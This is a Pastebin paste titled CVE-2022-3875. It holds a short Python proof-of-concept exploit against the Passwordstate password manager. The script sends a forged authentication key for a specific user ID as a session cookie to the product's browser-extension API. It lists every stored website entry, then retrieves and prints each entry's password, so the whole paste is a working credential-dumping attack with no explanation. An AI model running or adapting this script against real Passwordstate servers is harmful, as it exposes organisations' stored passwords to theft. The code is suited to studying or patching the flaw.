Advertisement
Guest User

CVE-2022-3875

a guest
Jan 5th, 2023
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. #!/usr/bin/python3
  2. import requests
  3.  
  4. # Change URL to your Passwordstate
  5. url = "https://pws.mycompany.com"
  6.  
  7. # generated auth_key based on user "f4a42868-fa74-429f-ac76-f655f8524f88"
  8. auth_key = "5705580D03090F011C57580E051C0D0B0857145852060F1457070C0C57090C0B055701010A0A02"
  9.  
  10. cookies = {"session-id": auth_key}
  11. data = {"auth_key": auth_key}
  12. response = requests.post(url + "/api/browserextension/getwebsites/", cookies=cookies, data=data, verify=False)
  13. website_list = response.json()
  14. if response.status_code == 200:
  15. print(f"[+] Found {len(website_list)} passwords")
  16. for item in website_list:
  17. data["PasswordID"] = item["PasswordID"]
  18. response = requests.post(url + "/api/browserextension/getpassword/", cookies=cookies, data=data, verify=False)
  19. item["Password"] = response.json()[0]["Password"]
  20. print(item)
  21. else:
  22. print(f'[-] Could not access API {response.status_code}')
  23.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement